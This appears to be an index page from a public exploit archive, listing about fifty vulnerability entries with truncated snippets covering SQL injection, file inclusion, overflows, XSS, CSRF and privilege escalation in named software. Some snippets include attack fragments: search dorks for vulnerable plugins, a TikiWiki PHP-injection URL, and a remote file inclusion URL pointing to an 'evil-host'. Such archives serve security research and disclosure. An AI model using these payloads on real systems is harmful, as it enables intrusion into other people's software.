1024 CMS 1.4.4 - Multiple LocalRemote File Inclusions

1024 CMS 1.4.4 - Multiple LocalRemote File Inclusions Digital Security Research Group DSecRG Advisory DSECRG-08-027 Application: 1024 CMS Versions Affected: 1.4.3, 1.4.4 RFC Vendor URL: http://www.1024cms.com/ Bug: Multiple Remote/Local File Include Exploits: YES Reported: 18.06.2008 Second repor...

Joomla! Component EasyBook 1.1 - gbid SQL Injection

Joomla! Component EasyBook 1.1 - gbid SQL Injection !/usr/bin/perl use IO::Socket; use strict; INFO Example: Host: xxx.lu &md: 0f8ab366793a0d1da85c6f5a8d4fb576 print "-+-- Joomla Component EasyBook 1.1 SQL Injection Exploit--+-\n"; print "-+-- --+-\n"; print "-+-- Author: ZAMUT --+-\n"; print "-+...

PHP-Nuke Sections Module - artid SQL Injection

PHP-Nuke Sections Module - artid SQL Injection source: https://www.securityfocus.com/bid/27879/info The PHP-Nuke Sections module is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could all...

WordPress Plugin st_newsletter - SQL Injection

WordPress Plugin stnewsletter - SQL Injection Wordpress Plugin stnewsletter SQL Injection AUTHOR : S@BUN HOME : http://www.hackturkiye.com/ DORKS 1 : allinurl :"wp-content/plugins/stnewsletter" DORK 2 : allinurl :"shiftthis-preview.php" EXPLOIT :...

BadBlue 2.72 - PassThru Remote Buffer Overflow

BadBlue 2.72 - PassThru Remote Buffer Overflow !/usr/bin/perl -w http://aluigi.altervista.org/adv/badblue-adv.txt https://www.securityfocus.com/bid/26803 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6379 exploit for stack overflow in badblue 2.72 Credit to Luigi Auriemma Jacopo Cervini...

ht:Dig 3.2 - Htsearch Cross-Site Scripting

ht:Dig 3.2 - Htsearch Cross-Site Scripting source: https://www.securityfocus.com/bid/26610/info ht://Dig is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data. Exploiting this issue allows an attacker to execute arbitrary HTML or script code...

RunCMS 1.6 - Local File Inclusion

RunCMS 1.6 - Local File Inclusion WwW.BugReport.ir AmnPardaz Security Research & Penetration Testing Group Title: RunCms Multiple Vulnerabilities Vendor: http://www.runcms.org/ Bugs: Local File Inclusion, Modules Authorization Weakness Vulnerable Version: RunCMS 1.6 Halloween, 1.5.x prior version...

TikiWiki 1.9.8 - Remote PHP Injection

TikiWiki 1.9.8 - Remote PHP Injection TikiWiki 1.9.8 Remote PHP Injection Vulnerability Example: http:/server/tikiwiki/tiki-graphformula.php?w=1&h=1&s=1&min=1&max=2&f=x.tan.phpinfo&t=png&title= milw0rm.com 2007-10-10...

helplink 0.1.0 - show.php Remote File Inclusion

helplink 0.1.0 - show.php Remote File Inclusion Helplink 0.1.0 show.php file Remote File Inclusion Vulnerability D.S : http://sourceforge.net/projects/helplink/ V.C ================================show.php================================= 01 :...

Microsoft Visual Basic Enterprise 6.0 SP6 - Code Execution

Microsoft Visual Basic Enterprise 6.0 SP6 - Code Execution usage: vbexploit.py FileName.vbp import sys print "--------------------------------------------------------------------------" print " PoC2 Microsoft Visual Basic Enterprise Edition 6.0 SP6 Code Execution " print " author: shinnai" print ...

SunShop Shopping Cart 3.5 - abs_path Remote File Inclusion

SunShop Shopping Cart 3.5 - abspath Remote File Inclusion sunshop 4 index.php Remote File Include Vulnerability ----------------------------------------------------------------------------------------- scripts : SunShop v3.5 Discovered By : irvian scripts site :...

XOOPS module Articles 1.02 - print.php?id SQL Injection

XOOPS module Articles 1.02 - print.php?id SQL Injection !/usr/bin/perl -w Xoops All Version -Articles- Print.PHP ID Blind SQL Injection Exploit And PoC Type : SQL Injection Release Date : 2007-03-26 Product / Vendor : http://support.sirium.net/ Bug :...

WebCalendar 0.9.45 - includedir Remote File Inclusion

WebCalendar 0.9.45 - includedir Remote File Inclusion |-------------------------------------------------------------------------------| | | | WebCalendar v0.9.45 13 Dec 2004 login.php Remote File include | | | | Script : WebCalendar | | Version : v0.9.45 13 Dec 2004 | | Authord : Drackanz | |...

D-Link DWL-2000AP 2.11 - ARP Flood Remote Denial of Service

D-Link DWL-2000AP 2.11 - ARP Flood Remote Denial of Service / ARP FLOODER v0.1 - [email protected] - 2006-12-04 designed to crash D-LINK DWL-2000AP+ compile with: gcc arpflood.c -o arpflood / define BSDSOURCE 1 define GNUSOURCE include include include include include include include include...

PHP Easy Downloader 1.5 - save.php Remote Code Execution

PHP Easy Downloader 1.5 - save.php Remote Code Execution !/usr/bin/perl +------------------------------------------------------------------------------------------- + PHP Easy Download +------------------------------------------------------------------------------------------- + Details: + PHP Ea...

MVNForum Activatemember 1.0 - Cross-Site Scripting

MVNForum Activatemember 1.0 - Cross-Site Scripting source: https://www.securityfocus.com/bid/18663/info mvnForum is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage this issue to hav...

RahnemaCo - page.php PageID Remote File Inclusion

RahnemaCo - page.php PageID Remote File Inclusion source: https://www.securityfocus.com/bid/18490/info RahnemaCo is prone to a remote file-include vulnerability. An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of t...

Apple Mail.App 10.5.0 (OSX) - Image Attachment Command Execution (Metasploit)

Apple Mail.App 10.5.0 OSX - Image Attachment Command Execution Metasploit $Id$ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use...

Microsoft Windows - Metafile .WMF Arbitrary File Download (Generator)

Microsoft Windows - Metafile .WMF Arbitrary File Download Generator / \ / WMF nDay download Exploit Generator \ by Unl0ck Research Team / \ / greetz: rst/ghc ed, uf0, fost , uKt choix, nekd0, payhash, antq , blacksecurity black , 0x557 kaka, swan, sam, nolife , sowhat, tty64 izik ; This sploit is...

Linux Kernel 2.6.9 2.6.11 (RHEL 4) - SYS_EPoll_Wait Local Integer Overflow Local Privilege Escalation

Linux Kernel 2.6.9 2.6.11 RHEL 4 - SYSEPollWait Local Integer Overflow Local Privilege Escalation / k-rad3.c - linux 2.6.11 and below CPL 0 kernel local exploit v3 Discovered and original exploit coded Jan 2005 by sd Modified 2005/9 by alert7 XFOCUS Security Team http://www.xfocus.org gcc -o k-ra...

SimpGB 1.0 - Guestbook.php SQL Injection

SimpGB 1.0 - Guestbook.php SQL Injection source: https://www.securityfocus.com/bid/12801/info SimpGB is reportedly affected by an SQL injection vulnerability. This issue is due to the application failing to properly sanitize user-supplied input passed to the 'guestbook.php' script before using it...

Star Wars Battlefront 1.1 - Fake Players Denial of Service

Star Wars Battlefront 1.1 - Fake Players Denial of Service / Copyright 2004 Luigi Auriemma This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or at...

ocPortal 1.0.3 - Remote File Inclusion

ocPortal 1.0.3 - Remote File Inclusion http://localhost/ocp-103/index.php?reqpath=http ://evil-host/ On your evil host you must put scipt funcs.php. Example of funcs.php if your host doesn't support php. Example of funcs.php if your host support php. '; ?...

Dropbear SSH 0.34 - Remote Code Execution

Dropbear SSH 0.34 - Remote Code Execution / Linux x86 Dropbear SSH quit Connection closed. % objdump -R /usr/local/sbin/dropbear| grep malloc 080673bc R386JUMPSLOT malloc % drop-root -v24 localhost ?.2022u%24$hn@localhost's password: Connection closed by 127.0.0.1 % telnet localhost 10275 Trying...

OpenFTPd 0.30.1 - message system Remote Shell

OpenFTPd 0.30.1 - message system Remote Shell / shouts to mitakeet :D exploit for openftpd format string bug. tested on most current version only. -infamous42md AT hotpop DOT com is real email only tricky part is find a place to stick the shell, as there isn't enough room to send it with the form...

OpenBB 1.0.6 - Multiple Vulnerabilities

OpenBB 1.0.6 - Multiple Vulnerabilities OpenBB Multiple Vulnerabilities Vendor: OpenBB Group Product: OpenBB Version: getrow; $ftype = $querytype-field'type'; As we can se...

Apache 2.x - Memory Leak

Apache 2.x - Memory Leak / apache-massacre.c Test code for Apache 2.x Memory Leak By Matthew Murphy DISCLAIMER: This exploit tool is provided only to test networks for a known vulnerability. Do not use this tool on systems you do not control, and do not use this tool on networks you do not own...

SuSE Linux 6.47.07.17.2 Berkeley Parallel Make - Local Buffer Overflow

SuSE Linux 6.47.07.17.2 Berkeley Parallel Make - Local Buffer Overflow // source: https://www.securityfocus.com/bid/3573/info Parallel Make pmake is a freely available version of the make program, originally distributed with Berkeley Unix. It is designed to execute Makefiles and build programs...

News Update 1.1 - Change Admin Password

News Update 1.1 - Change Admin Password / newsexp.c - description ------------------- begin : Sat Oct 21 2000 copyright : C 2000 by Morpheusbd email : [email protected] advisory : www.brightdarkness.de Exploit code for the News Update 1.1 by Morpheusbd For more information see my advisory which...

Canna Canna 3.5 b2 - Remote Buffer Overflow

Canna Canna 3.5 b2 - Remote Buffer Overflow // source: https://www.securityfocus.com/bid/1445/info A vulnerability exists in the 'canna' package, as distributed with a number of free operating systems, and available for other systems. Version 3.5b2 is vulnerable. It is assumed versions prior to...

xsoldier (FreeBSD 3.3Linux Mandrake 7.0) - Local Buffer Overflow (2)

xsoldier FreeBSD 3.3Linux Mandrake 7.0 - Local Buffer Overflow 2 / source: https://www.securityfocus.com/bid/871/info Certain versions of FreeBSD 3.3 Confirmed and Linux Mandrake confirmed ship with a vulnerable binary in their X11 games package. The binary/game in question, xsoldier, is a setuid...

Cisco IOS 11.x12.x - HTTP %%

Cisco IOS 11.x12.x - HTTP %% source: https://www.securityfocus.com/bid/1154/info A denial of service attack exists in versions of Cisco IOS, running on a variety of different router hardware. If the router is configured to have a web server running for configuration and other information a user c...

CandidATS 2.1.0 - Cross-Site Request Forgery (Add Admin)

CandidATS 2.1.0 - Cross-Site Request Forgery Add Admin Title: CandidATS 2.1.0 - Cross-Site Request Forgery Add Admin Date: 2020-02-21 Exploit Author: J3rryBl4nks Vendor Homepage: https://sourceforge.net/u/auieo/profile/ Software Link: https://sourceforge.net/projects/candidats/files/Version 2.1.0...

Easy2Pilot 7 - Cross-Site Request Forgery (Add User)

Easy2Pilot 7 - Cross-Site Request Forgery Add User Exploit Title: Easy2Pilot 7 - Cross-Site Request Forgery Add User Author: indoushka Date: 2020-02-20 Tested on: windows 10 Français V.Pro / browser : Mozilla firefox 69.032-bit Vendor: http://easy2pilot-v7.com/ CVE: N/A poc : + Dorking İn Google ...

Ecommerce Systempay 1.0 - Production KEY Brute Force

Ecommerce Systempay 1.0 - Production KEY Brute Force Exploit Title: Ecommerce Systempay 1.0 - Production KEY Brute Force Author: live3 Date: 2020-02-05 Vendor Homepage: https://paiement.systempay.fr/doc/fr-FR/ Software Link: https://paiement.systempay.fr/doc/fr-FR/module-de-paiement-gratuit/ Test...

P2PWIFICAM2 for iOS 10.4.1 - Camera ID Denial of Service (PoC)

P2PWIFICAM2 for iOS 10.4.1 - Camera ID Denial of Service PoC Exploit Title: P2PWIFICAM2 for iOS 10.4.1 - 'Camera ID' Denial of Service PoC Discovery by: Ivan Marmolejo Discovery Date: 2020-02-02 Vendor Homepage: https://apps.apple.com/mx/app/p2pwificam2/id663665207 Software Link: App Store for iO...

Centova Cast 3.2.11 - Arbitrary File Download

Centova Cast 3.2.11 - Arbitrary File Download Exploit Title: Centova Cast 3.2.11 - Arbitrary File Download Date: 2019-11-17 Exploit Author: DroidU Vendor Homepage: https://centova.com Affected Version: =v3.2.11 Tested on: Debian 9, CentOS 7 !/bin/bash if "$4" = "" then echo "Usage: $0...

Nextcloud 17 - Cross-Site Request Forgery

Nextcloud 17 - Cross-Site Request Forgery Exploit Title: Nextcloud 17 - Cross-Site Request Forgery Date: 08.11.2019 Exploit Author: Ozer Goker Vendor Homepage: https://nextcloud.com Software Link: https://nextcloud.com/install/instructions-server Version: 17 CVE: N/A Nextcloud offers the...

National Instruments Circuit Design Suite 14.0 - Local Privilege Escalation

National Instruments Circuit Design Suite 14.0 - Local Privilege Escalation Exploit Title: National Instruments Circuit Design Suite 14.0 - Local Privilege Escalation Discovery Date: 2019-10-10 Exploit Author: Ivan Marmolejo Vendor Homepage: http://www.ni.com/en-us.html Software Link:...

iMessage - Decoding NSSharedKeyDictionary Can Read Object Out of Bounds

iMessage - Decoding NSSharedKeyDictionary Can Read Object Out of Bounds When an NSKeyedUnarchiver decodes an object, it first allocates the object using allocWithZone, and then puts the object into a dictionary for temporary objects. It then calls the appropriate initWithCoder: on the allocated...

Microsoft DirectWrite - Invalid Read in SplicePixel While Processing OTF Fonts

Microsoft DirectWrite - Invalid Read in SplicePixel While Processing OTF Fonts Microsoft DirectWrite is a modern Windows API for high-quality text rendering. A majority of its code resides in the DWrite.dll user-mode library. It is used by a variety of widely used desktop programs such as the...

Microsoft DirectWrite AFDKO - Stack Corruption in OpenType Font Handling Due to Negative cubeStackDepth

Microsoft DirectWrite AFDKO - Stack Corruption in OpenType Font Handling Due to Negative cubeStackDepth -----===== Background =====----- AFDKO Adobe Font Development Kit for OpenType is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling...

AUO Solar Data Recorder 1.3.0 - Incorrect Access Control

AUO Solar Data Recorder 1.3.0 - Incorrect Access Control Exploit Title: AUO Solar Data Recorder - Incorrect Access Control Date: 2019-04-16 Exploit Author: Luca.Chiou Vendor Homepage: https://www.auo.com/zh-TW Version: AUO Solar Data Recorder all versions prior to v1.3.0 Tested on: It is a...

WordPress Plugin Form Maker 1.13.3 - SQL Injection

WordPress Plugin Form Maker 1.13.3 - SQL Injection -- coding: utf-8 -- Exploit Title: WordPress Plugin Form Maker 1.13.3 - SQL Injection Date: 22-03-2019 Exploit Author: Daniele Scanu @ Certimeter Group Vendor Homepage: https://10web.io/plugins/ Software Link:...

Visual Voicemail for iPhone - IMAP NAMESPACE Processing Use-After-Free

Visual Voicemail for iPhone - IMAP NAMESPACE Processing Use-After-Free Visual Voicemail VVM is a feature of mobile devices that allows voicemail to be read in an email-like format. Carriers set up a Visual Voicemail server that supports IMAP, and the device queries this server for new email. Visu...

Ross Video DashBoard 8.5.1 - Insecure Permissions

Ross Video DashBoard 8.5.1 - Insecure Permissions Ross Video DashBoard 8.5.1 Insecure Permissions Vendor: Ross Video Ltd. Product web page: https://www.rossvideo.com Affected version: 8.5.1 Summary: DashBoard is a free and open platform from Ross Video for facility control and monitoring that...

VMware Workstation 14.1.5 VMware Player 15.0.2 - Host VMX Process Impersonation Hijack Privilege Escalation

VMware Workstation 14.1.5 VMware Player 15.0.2 - Host VMX Process Impersonation Hijack Privilege Escalation VMware: Host VMX Process Impersonation Hijack EoP Platform: VMware Workstation Windows v14.1.5 on Windows 10. Also tested VMware Player 15.0.2. Class: Elevation of Privilege Summary: The...

Mail Carrier 2.5.1 - MAIL FROM Buffer Overflow

Mail Carrier 2.5.1 - MAIL FROM Buffer Overflow Exploit Title: Tabs Mail Carrier 2.5.1 MAIL FROM: Buffer Overflow Date: March 14, 2019 Exploit Author: Joseph McDonagh Vendor Homepage: N/A Software Link: N/A Version: Mail Carrier 2.5.1 Tested on: Windows Vista Home Basic SP2 CVE: None...

MarcomCentral FusionPro VDP Creator 10.0 - Directory Traversal

MarcomCentral FusionPro VDP Creator 10.0 - Directory Traversal !/usr/bin/env python ''' Exploit Title: MarcomCentral FusionPro VDP Creator :/Windows/System32/drivers/etc/hosts. No slash-dot-dots /../.. are required, but you can add some if you want. Note that the slashes are forward slashes! By...

FaceTime - Texture Processing Memory Corruption

FaceTime - Texture Processing Memory Corruption There is a memory corruption issue that occurs when processing a malformed RTP video stream in FaceTime. It appears to be related to processing textures. thread 7, stop reason = EXCBADACCESS code=EXCI386GPFLT frame 0: 0x00007fff56baaa92...